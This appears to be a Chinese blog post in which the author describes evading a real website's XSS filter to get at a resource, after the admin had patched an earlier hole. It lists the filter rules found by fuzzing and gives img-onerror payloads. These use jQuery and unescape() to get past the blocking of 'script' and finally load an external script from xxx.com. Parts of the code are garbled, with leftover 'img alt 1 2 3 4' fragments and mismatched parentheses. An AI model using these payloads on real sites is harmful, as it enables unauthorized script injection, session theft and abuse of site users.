额 某天为了个资源挖了个xss 到手之后然后二逼的告诉了管理员 今天又需卷土重来
各种过滤,各种悲剧,撸了一天 总算中出鸟 发个文章记录下 ……

一 :fuzz 编辑规则

经过长时间的 fuzz之后 得到以下规则

1: script document alert … 会 替换为 *
2: img 的 onerror 事件没有过滤
3: 所有的字符都会替换为 小写 比如 String.fromCharCode 就彻底没戏了
4:加载了jquery 库

二 :艰难绕过

1:肯定是从 img 开始 和 jquery 配置 语句为

img alt
1
2
3
4

2:使用jquery 动态创建对象 ( document.createElement , appendTo,innerHtml 失效)

``` < img alt="" onerror=" $(function() { $('<script>alert(0)</script>')).append(s) })" src="1" />

3:第二步中 script 会被替换 必须找个 js 中的小写的解码函数 unescape

img alt
1
2
3
4

4:加载外部js

``` < img alt="" onerror=" $(function() { var s=unescape('%3Cscrip'+'t'+'%2Fsrc%3Dhttp%3A%2F%2Fxxx.com%2F100000%3E%3C%2Fscrip'+'t'+'%3E'); $('body').append(s) })" src="1" />